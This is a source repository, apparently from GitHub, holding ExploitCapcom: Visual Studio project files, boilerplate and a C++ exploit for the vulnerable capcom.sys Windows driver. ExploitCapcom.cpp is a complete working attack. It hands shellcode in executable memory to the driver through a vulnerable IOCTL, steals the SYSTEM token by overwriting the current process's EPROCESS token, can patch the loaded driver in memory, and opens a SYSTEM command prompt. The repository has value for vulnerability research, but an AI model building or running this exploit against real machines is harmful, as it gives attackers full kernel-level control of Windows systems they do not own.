├── .gitattributes ├── .gitignore ├── ExploitCapcom ├── ExploitCapcom.sln └── ExploitCapcom │ ├── ExploitCapcom.cpp │ ├── ExploitCapcom.vcxproj │ ├── ExploitCapcom.vcxproj.filters │ ├── ReadMe.txt │ ├── stdafx.cpp │ ├── stdafx.h │ └── targetver.h ├── LICENSE ├── README.md └── img └── win10_demo.png /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | [Xx]64/ 19 | [Xx]86/ 20 | [Bb]uild/ 21 | bld/ 22 | [Bb]in/ 23 | [Oo]bj/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | artifacts/ 46 | 47 | *_i.c 48 | *_p.c 49 | *_i.h 50 | *.ilk 51 | *.meta 52 | *.obj 53 | *.pch 54 | *.pdb 55 | *.pgc 56 | *.pgd 57 | *.rsp 58 | *.sbr 59 | *.tlb 60 | *.tli 61 | *.tlh 62 | *.tmp 63 | *.tmp_proj 64 | *.log 65 | *.vspscc 66 | *.vssscc 67 | .builds 68 | *.pidb 69 | *.svclog 70 | *.scc 71 | 72 | # Chutzpah Test files 73 | _Chutzpah* 74 | 75 | # Visual C++ cache files 76 | ipch/ 77 | *.aps 78 | *.ncb 79 | *.opendb 80 | *.opensdf 81 | *.sdf 82 | *.cachefile 83 | *.VC.db 84 | 85 | # Visual Studio profiler 86 | *.psess 87 | *.vsp 88 | *.vspx 89 | *.sap 90 | 91 | # TFS 2012 Local Workspace 92 | $tf/ 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | *.DotSettings.user 101 | 102 | # JustCode is a .NET coding add-in 103 | .JustCode 104 | 105 | # TeamCity is a build add-in 106 | _TeamCity* 107 | 108 | # DotCover is a Code Coverage Tool 109 | *.dotCover 110 | 111 | # NCrunch 112 | _NCrunch_* 113 | .*crunch*.local.xml 114 | nCrunchTemp_* 115 | 116 | # MightyMoose 117 | *.mm.* 118 | AutoTest.Net/ 119 | 120 | # Web workbench (sass) 121 | .sass-cache/ 122 | 123 | # Installshield output folder 124 | [Ee]xpress/ 125 | 126 | # DocProject is a documentation generator add-in 127 | DocProject/buildhelp/ 128 | DocProject/Help/*.HxT 129 | DocProject/Help/*.HxC 130 | DocProject/Help/*.hhc 131 | DocProject/Help/*.hhk 132 | DocProject/Help/*.hhp 133 | DocProject/Help/Html2 134 | DocProject/Help/html 135 | 136 | # Click-Once directory 137 | publish/ 138 | 139 | # Publish Web Output 140 | *.[Pp]ublish.xml 141 | *.azurePubxml 142 | 143 | # TODO: Un-comment the next line if you do not want to checkin 144 | # your web deploy settings because they may include unencrypted 145 | # passwords 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # NuGet Packages 150 | *.nupkg 151 | # The packages folder can be ignored because of Package Restore 152 | **/packages/* 153 | # except build/, which is used as an MSBuild target. 154 | !**/packages/build/ 155 | # Uncomment if necessary however generally it will be regenerated when needed 156 | #!**/packages/repositories.config 157 | # NuGet v3's project.json files produces more ignoreable files 158 | *.nuget.props 159 | *.nuget.targets 160 | 161 | # Microsoft Azure Build Output 162 | csx/ 163 | *.build.csdef 164 | 165 | # Microsoft Azure Emulator 166 | ecf/ 167 | rcf/ 168 | 169 | # Windows Store app package directory 170 | AppPackages/ 171 | BundleArtifacts/ 172 | 173 | # Visual Studio cache files 174 | # files ending in .cache can be ignored 175 | *.[Cc]ache 176 | # but keep track of directories ending in .cache 177 | !*.[Cc]ache/ 178 | 179 | # Others 180 | ClientBin/ 181 | [Ss]tyle[Cc]op.* 182 | ~$* 183 | *~ 184 | *.dbmdl 185 | *.dbproj.schemaview 186 | *.pfx 187 | *.publishsettings 188 | node_modules/ 189 | orleans.codegen.cs 190 | 191 | # RIA/Silverlight projects 192 | Generated_Code/ 193 | 194 | # Backup & report files from converting an old project file 195 | # to a newer Visual Studio version. Backup files are not needed, 196 | # because we have git ;-) 197 | _UpgradeReport_Files/ 198 | Backup*/ 199 | UpgradeLog*.XML 200 | UpgradeLog*.htm 201 | 202 | # SQL Server files 203 | *.mdf 204 | *.ldf 205 | 206 | # Business Intelligence projects 207 | *.rdl.data 208 | *.bim.layout 209 | *.bim_*.settings 210 | 211 | # Microsoft Fakes 212 | FakesAssemblies/ 213 | 214 | # GhostDoc plugin setting file 215 | *.GhostDoc.xml 216 | 217 | # Node.js Tools for Visual Studio 218 | .ntvs_analysis.dat 219 | 220 | # Visual Studio 6 build log 221 | *.plg 222 | 223 | # Visual Studio 6 workspace options file 224 | *.opt 225 | 226 | # Visual Studio LightSwitch build output 227 | **/*.HTMLClient/GeneratedArtifacts 228 | **/*.DesktopClient/GeneratedArtifacts 229 | **/*.DesktopClient/ModelManifest.xml 230 | **/*.Server/GeneratedArtifacts 231 | **/*.Server/ModelManifest.xml 232 | _Pvt_Extensions 233 | 234 | # LightSwitch generated files 235 | GeneratedArtifacts/ 236 | ModelManifest.xml 237 | 238 | # Paket dependency manager 239 | .paket/paket.exe 240 | 241 | # FAKE - F# Make 242 | .fake/ 243 | -------------------------------------------------------------------------------- /ExploitCapcom/ExploitCapcom.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ExploitCapcom", "ExploitCapcom\ExploitCapcom.vcxproj", "{C73A8BE0-A7D0-4042-8545-1EBD49FC933C}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Release|x64 = Release|x64 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {C73A8BE0-A7D0-4042-8545-1EBD49FC933C}.Debug|x64.ActiveCfg = Debug|x64 15 | {C73A8BE0-A7D0-4042-8545-1EBD49FC933C}.Debug|x64.Build.0 = Debug|x64 16 | {C73A8BE0-A7D0-4042-8545-1EBD49FC933C}.Release|x64.ActiveCfg = Release|x64 17 | {C73A8BE0-A7D0-4042-8545-1EBD49FC933C}.Release|x64.Build.0 = Release|x64 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2016 - 2021, Satoshi Tanda. All rights reserved. 2 | // Use of this source code is governed by a MIT-style license that can be 3 | // found in the LICENSE file. 4 | 5 | 6 | #include "stdafx.h" 7 | #pragma comment(lib, "ntdll.lib") 8 | 9 | //////////////////////////////////////////////////////////////////////////////// 10 | // 11 | // macro utilities 12 | // 13 | 14 | //////////////////////////////////////////////////////////////////////////////// 15 | // 16 | // constants and macros 17 | // 18 | 19 | //////////////////////////////////////////////////////////////////////////////// 20 | // 21 | // types 22 | // 23 | 24 | typedef void *PEPROCESS; 25 | typedef void *PERESOURCE; 26 | 27 | using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)(); 28 | 29 | using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI*)(_In_ HANDLE ProcessId, 30 | _Out_ PEPROCESS * Process); 31 | 32 | using OBDEREFERENCEOBJECT = VOID(NTAPI*)(_In_ PVOID Object); 33 | 34 | using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI*)( 35 | _Inout_ PEPROCESS Process); 36 | 37 | using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI*)( 38 | _In_ PACCESS_TOKEN PrimaryToken); 39 | 40 | using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI*)( 41 | _In_ PUNICODE_STRING SystemRoutineName); 42 | 43 | using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI*)( 44 | _In_ PCUNICODE_STRING String1, 45 | _In_ PCUNICODE_STRING String2, 46 | _In_ BOOLEAN CaseInSensitive); 47 | 48 | using RTLINITUNICODESTRING = VOID(NTAPI*)( 49 | _Inout_ PUNICODE_STRING DestinationString, 50 | _In_ PCWSTR SourceString); 51 | 52 | using EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE = PVOID(NTAPI*)( 53 | _In_ PERESOURCE Resource); 54 | 55 | using EXRELEASERESOURCEANDLEAVECRITICALREGION = VOID(NTAPI*)( 56 | _In_ PERESOURCE Resource); 57 | 58 | // Represents shellcode to be executed 59 | #include 60 | typedef struct _SHELLCODE 61 | { 62 | BYTE Nop[1]; 63 | BYTE Sti[1]; 64 | BYTE Jmp[6]; 65 | void *PayloadAddress; 66 | } SHELLCODE, *PSHELLCODE; 67 | #include 68 | 69 | // Represents a layout of in-buffer for the vulnerable IOCTL 70 | typedef struct _IOCTL_IN_BUFFER 71 | { 72 | void *ShellcodeAddress; 73 | SHELLCODE Shellcode; 74 | } IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER; 75 | 76 | // winternal.h does not have complete members 77 | typedef struct _LDR_DATA_TABLE_ENTRY_EX 78 | { 79 | LIST_ENTRY InLoadOrderModuleList; 80 | LIST_ENTRY InMemoryOrderModuleList; 81 | LIST_ENTRY InInitializationOrderModuleList; 82 | PVOID DllBase; 83 | PVOID EntryPoint; 84 | ULONG SizeOfImage; 85 | UNICODE_STRING FullDllName; 86 | UNICODE_STRING BaseDllName; 87 | ULONG Flags; 88 | USHORT LoadCount; 89 | USHORT TlsIndex; 90 | LIST_ENTRY HashLinks; 91 | PVOID SectionPointer; 92 | ULONG CheckSum; 93 | ULONG TimeDateStamp; 94 | } LDR_DATA_TABLE_ENTRY_EX, * PLDR_DATA_TABLE_ENTRY_EX; 95 | 96 | //////////////////////////////////////////////////////////////////////////////// 97 | // 98 | // prototypes 99 | // 100 | 101 | static bool ExploitCapcomDriver(); 102 | 103 | static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress); 104 | 105 | static void *GetSystemRoutineAddress( 106 | MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress, 107 | const wchar_t *RoutineName); 108 | 109 | static PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address); 110 | 111 | static bool LaunchShell(); 112 | 113 | //////////////////////////////////////////////////////////////////////////////// 114 | // 115 | // variables 116 | // 117 | 118 | // Indicates whether token stealing is done successfully 119 | static BOOLEAN gIsTokenStealingSuccessful = FALSE; 120 | 121 | // Indicates mitigation for driver verifier 122 | static BOOLEAN gIsDvMitigationEnabled = FALSE; 123 | 124 | //////////////////////////////////////////////////////////////////////////////// 125 | // 126 | // implementations 127 | // 128 | 129 | int main(int argc, const char* argv[]) 130 | { 131 | if (argc > 1 && strcmp(argv[1], "--mitigatedv") == 0) 132 | { 133 | gIsDvMitigationEnabled = TRUE; 134 | } 135 | 136 | ExploitCapcomDriver(); 137 | return 0; 138 | } 139 | 140 | // Makes std::unique_ptr withe a custom deleter 141 | template static 142 | std::unique_ptr make_unique_ex(Resource *p, 143 | Deleter d = Deleter()) 144 | { 145 | return std::unique_ptr(p, std::forward(d)); 146 | } 147 | 148 | // Exploits the vulnerable feature in capcom.sys and launches the SYSTEM cmd.exe 149 | static bool ExploitCapcomDriver() 150 | { 151 | std::cout << std::hex; 152 | std::cout << "[*] Capcom.sys exploit" << std::endl; 153 | 154 | if (gIsDvMitigationEnabled == TRUE) 155 | { 156 | std::cout << "[*] DV mitigation is enabled" << std::endl; 157 | } 158 | 159 | // Open the device created by Capcom.sys 160 | auto DeviceHandle = make_unique_ex( 161 | CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE, 162 | FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 163 | FILE_ATTRIBUTE_NORMAL, nullptr), 164 | ::CloseHandle); 165 | if (DeviceHandle.get() == INVALID_HANDLE_VALUE) 166 | { 167 | std::cout << "[-] CreateFile failed" << std::endl; 168 | return false; 169 | } 170 | std::cout << "[*] Capcom.sys handle was obtained as " << DeviceHandle.get() 171 | << std::endl; 172 | 173 | // 174 | // Allocate an executable memory containing shellcode. The data structure 175 | // should have an address of code to executed. In this exploit, trampoline 176 | // code leads to KernelPayload is also given as the function to execute. 177 | // 178 | auto InBufferContents = reinterpret_cast(VirtualAlloc( 179 | nullptr, sizeof(IOCTL_IN_BUFFER), MEM_COMMIT, PAGE_EXECUTE_READWRITE)); 180 | if (!InBufferContents) 181 | { 182 | std::cout << "[-] VirtualAlloc failed" << std::endl; 183 | return false; 184 | } 185 | InBufferContents->ShellcodeAddress = &InBufferContents->Shellcode; 186 | 187 | // 188 | // This code is executed first by the feature on PASSIVE_LEVEL, interruption 189 | // disabled state. This shellcode first enables interruptions so that 190 | // Windows can page-in the KernelPayload even if it is paged-out, and 191 | // KernelPayload can call kernel API. Then this code transfers execution to 192 | // KernelPayload. 193 | // 194 | // 195 | InBufferContents->Shellcode = { 196 | { 0x90, }, // nop ; for debugging 197 | { 0xfb, }, // sti 198 | { 0xff, 0x25, 0x00, 0x00, 0x00, 0x00, }, // jmp qword ptr [nextline] 199 | // nextline: 200 | &KernelPayload, // dq KernelPayload 201 | }; 202 | std::cout << "[*] Shellcode was placed at " << &InBufferContents->Shellcode 203 | << std::endl; 204 | 205 | // +8 because, capcom.sys uses an address of IOCTL buffer - 8 206 | auto InBuffer = reinterpret_cast(InBufferContents) + 8; 207 | static_assert(sizeof(InBuffer) == 8, "an in buffer size must be 8"); 208 | 209 | uint32_t OutBuffer = 0; 210 | static_assert(sizeof(OutBuffer) == 4, "an out buffer size must be 4"); 211 | 212 | // Issue IOCTL for the vulnerable feature 213 | static const DWORD VulnerableIoctlCode = 0xaa013044; 214 | DWORD BytesReturned = 0; 215 | auto Ok = DeviceIoControl(DeviceHandle.get(), VulnerableIoctlCode, &InBuffer, 216 | sizeof(InBuffer), &OutBuffer, sizeof(OutBuffer), 217 | &BytesReturned, nullptr); 218 | VirtualFree(InBufferContents, 0, MEM_RELEASE); // no longer necessary 219 | if (!Ok) 220 | { 221 | std::cout << "[-] DeviceIoControl failed" << std::endl; 222 | return false; 223 | } 224 | std::cout << "[+] Shellcode was executed" << std::endl; 225 | 226 | // Is this process running in the SYSTEM privileges 227 | if (!gIsTokenStealingSuccessful) 228 | { 229 | std::cout << "[-] Token stealing failed" << std::endl; 230 | return false; 231 | } 232 | std::cout << "[+] Token stealing was successful" << std::endl; 233 | 234 | // Launch command prompt 235 | if (!LaunchShell()) 236 | { 237 | std::cout << "[-] CreateProcess() failed" << std::endl; 238 | return false; 239 | } 240 | std::cout << "[+] The SYSTEM shell was launched" << std::endl; 241 | std::cout << "[*] Press any key to exit this program" << std::endl; 242 | (void)getchar(); 243 | return true; 244 | } 245 | 246 | // 247 | // Performs token stealing and elevates the current process to SYSTEM 248 | // 249 | static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) 250 | { 251 | auto PsLookupProcessByProcessId = 252 | reinterpret_cast(GetSystemRoutineAddress( 253 | MmGetSystemRoutineAddress, L"PsLookupProcessByProcessId")); 254 | 255 | auto ObDereferenceObject = 256 | reinterpret_cast(GetSystemRoutineAddress( 257 | MmGetSystemRoutineAddress, L"ObDereferenceObject")); 258 | 259 | auto PsReferencePrimaryToken = 260 | reinterpret_cast(GetSystemRoutineAddress( 261 | MmGetSystemRoutineAddress, L"PsReferencePrimaryToken")); 262 | 263 | auto PsDereferencePrimaryToken = 264 | reinterpret_cast(GetSystemRoutineAddress( 265 | MmGetSystemRoutineAddress, L"PsDereferencePrimaryToken")); 266 | 267 | auto PsGetCurrentProcessId = 268 | reinterpret_cast(GetSystemRoutineAddress( 269 | MmGetSystemRoutineAddress, L"PsGetCurrentProcessId")); 270 | 271 | // Get the process object of the kernel 272 | auto SystemProcess = 273 | *reinterpret_cast(GetSystemRoutineAddress( 274 | MmGetSystemRoutineAddress, L"PsInitialSystemProcess")); 275 | 276 | if (gIsDvMitigationEnabled == TRUE) 277 | { 278 | auto RtlEqualUnicodeString = 279 | reinterpret_cast(GetSystemRoutineAddress( 280 | MmGetSystemRoutineAddress, L"RtlEqualUnicodeString")); 281 | 282 | auto RtlInitUnicodeString = 283 | reinterpret_cast(GetSystemRoutineAddress( 284 | MmGetSystemRoutineAddress, L"RtlInitUnicodeString")); 285 | 286 | auto PsLoadedModuleList = 287 | *reinterpret_cast(GetSystemRoutineAddress( 288 | MmGetSystemRoutineAddress, L"PsLoadedModuleList")); 289 | 290 | auto PsLoadedModuleResource = 291 | *reinterpret_cast(GetSystemRoutineAddress( 292 | MmGetSystemRoutineAddress, L"PsLoadedModuleResource")); 293 | 294 | auto ExEnterCriticalRegionAndAcquireResourceExclusive = 295 | reinterpret_cast(GetSystemRoutineAddress( 296 | MmGetSystemRoutineAddress, L"ExEnterCriticalRegionAndAcquireResourceExclusive")); 297 | 298 | auto ExReleaseResourceAndLeaveCriticalRegion = 299 | reinterpret_cast(GetSystemRoutineAddress( 300 | MmGetSystemRoutineAddress, L"ExReleaseResourceAndLeaveCriticalRegion")); 301 | 302 | // Disable normal kernel APCs and acquire resource 303 | ExEnterCriticalRegionAndAcquireResourceExclusive(PsLoadedModuleResource); 304 | 305 | // Critical region starts herewith below 306 | { 307 | UNICODE_STRING CapcomNameUs; 308 | RtlInitUnicodeString(&CapcomNameUs, L"capcom.sys"); 309 | 310 | for (PLIST_ENTRY Entry = PsLoadedModuleList; 311 | Entry != PsLoadedModuleList->Blink; 312 | Entry = Entry->Flink) 313 | { 314 | PLDR_DATA_TABLE_ENTRY_EX LdrEntry = 315 | CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY_EX, InLoadOrderModuleList); 316 | 317 | if (RtlEqualUnicodeString(&CapcomNameUs, &LdrEntry->BaseDllName, TRUE) == TRUE) 318 | { 319 | BYTE PatchShellcode[] = { 320 | 0x33, 0xC0, // xor edx, edx 321 | 0x90 // nop 322 | }; 323 | 324 | // Patch for IRP_MJ_DEVICE_CONTROL 325 | memcpy( 326 | reinterpret_cast(reinterpret_cast(LdrEntry->DllBase) + 0x631), 327 | &PatchShellcode, 328 | sizeof(PatchShellcode)); 329 | 330 | // Patch for IRP_MJ_CREATE and IRP_MJ_CLOSE 331 | memcpy( 332 | reinterpret_cast(reinterpret_cast(LdrEntry->DllBase) + 0x518), 333 | &PatchShellcode, 334 | sizeof(PatchShellcode)); 335 | 336 | break; 337 | } 338 | } 339 | } 340 | // Critical region ends 341 | 342 | ExReleaseResourceAndLeaveCriticalRegion(PsLoadedModuleResource); 343 | } 344 | 345 | // Get the process object of the current process 346 | PEPROCESS CurrentProcess = nullptr; 347 | NTSTATUS Status = PsLookupProcessByProcessId(PsGetCurrentProcessId(), 348 | &CurrentProcess); 349 | if (!NT_SUCCESS(Status)) 350 | { 351 | return; 352 | } 353 | 354 | auto CurrentToken = PsReferencePrimaryToken(CurrentProcess); 355 | auto SystemToken = PsReferencePrimaryToken(SystemProcess); 356 | 357 | // Search the token field from EPROCESS up to a 0xb0 pointers size 358 | for (auto Offset = 0ul; Offset < sizeof(void *) * 0xb0; 359 | Offset += sizeof(void *)) 360 | { 361 | // Is this address stores token? 362 | const auto TestAddress = 363 | reinterpret_cast(CurrentProcess) + Offset; 364 | const auto ProbableToken = GetProceesTokenAddress(TestAddress); 365 | if (ProbableToken == CurrentToken) 366 | { 367 | // Found the field, replace the contents with the SYSTEM token 368 | auto TokenAddress = reinterpret_cast(TestAddress); 369 | *TokenAddress = SystemToken; 370 | gIsTokenStealingSuccessful = TRUE; 371 | break; 372 | } 373 | } 374 | 375 | PsDereferencePrimaryToken(CurrentToken); 376 | PsDereferencePrimaryToken(SystemToken); 377 | ObDereferenceObject(CurrentProcess); 378 | } 379 | 380 | // Returns an address of exports in NT or HAL 381 | static void *GetSystemRoutineAddress( 382 | MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress, 383 | const wchar_t *RoutineName) 384 | { 385 | UNICODE_STRING RoutineNameU = {}; 386 | RtlInitUnicodeString(&RoutineNameU, RoutineName); 387 | return MmGetSystemRoutineAddress(&RoutineNameU); 388 | } 389 | 390 | // Returns an address of a token assuming that Address points to the Token field 391 | static PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address) 392 | { 393 | // 394 | // To get an address of a token from the Token field in EPROCESS, the lowest 395 | // N bits where N is size of a RefCnt field needs to be masked. 396 | // 397 | // kd> dt nt!_EX_FAST_REF 398 | // + 0x000 Object : Ptr64 Void 399 | // + 0x000 RefCnt : Pos 0, 4 Bits 400 | // + 0x000 Value : Uint8B 401 | // 402 | const auto Value = *reinterpret_cast(Address); 403 | return reinterpret_cast(Value & 404 | (static_cast(~0xf))); 405 | } 406 | 407 | // Launches a command shell process 408 | static bool LaunchShell() 409 | { 410 | TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe"); 411 | PROCESS_INFORMATION ProcessInfo; 412 | STARTUPINFO StartupInfo = { sizeof(StartupInfo) }; 413 | if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE, 414 | CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo, 415 | &ProcessInfo)) 416 | { 417 | return false; 418 | } 419 | 420 | CloseHandle(ProcessInfo.hThread); 421 | CloseHandle(ProcessInfo.hProcess); 422 | return true; 423 | } 424 | -------------------------------------------------------------------------------- /ExploitCapcom/ExploitCapcom/ExploitCapcom.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {C73A8BE0-A7D0-4042-8545-1EBD49FC933C} 15 | Win32Proj 16 | ExploitCapcom 17 | 10.0 18 | 19 | 20 | 21 | Application 22 | true 23 | v142 24 | Unicode 25 | 26 | 27 | Application 28 | false 29 | v142 30 | true 31 | Unicode 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | true 47 | 48 | 49 | false 50 | 51 | 52 | 53 | Use 54 | Level3 55 | Disabled 56 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 57 | true 58 | MultiThreadedDebug 59 | 60 | 61 | Console 62 | true 63 | 64 | 65 | 66 | 67 | Level3 68 | Use 69 | MaxSpeed 70 | true 71 | true 72 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 73 | true 74 | MultiThreaded 75 | 76 | 77 | Console 78 | true 79 | true 80 | true 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | Create 94 | Create 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /ExploitCapcom/ExploitCapcom/ExploitCapcom.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | 29 | 30 | Source Files 31 | 32 | 33 | Source Files 34 | 35 | 36 | -------------------------------------------------------------------------------- /ExploitCapcom/ExploitCapcom/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : ExploitCapcom Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this ExploitCapcom application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your ExploitCapcom application. 9 | 10 | 11 | ExploitCapcom.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | ExploitCapcom.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | ExploitCapcom.cpp 25 | This is the main application source file. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other standard files: 29 | 30 | StdAfx.h, StdAfx.cpp 31 | These files are used to build a precompiled header (PCH) file 32 | named ExploitCapcom.pch and a precompiled types file named StdAfx.obj. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | Other notes: 36 | 37 | AppWizard uses "TODO:" comments to indicate parts of the source code you 38 | should add to or customize. 39 | 40 | ///////////////////////////////////////////////////////////////////////////// 41 | -------------------------------------------------------------------------------- /ExploitCapcom/ExploitCapcom/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ExploitCapcom.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /ExploitCapcom/ExploitCapcom/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | 19 | // TODO: reference additional headers your program requires here 20 | -------------------------------------------------------------------------------- /ExploitCapcom/ExploitCapcom/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 Satoshi Tanda 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT 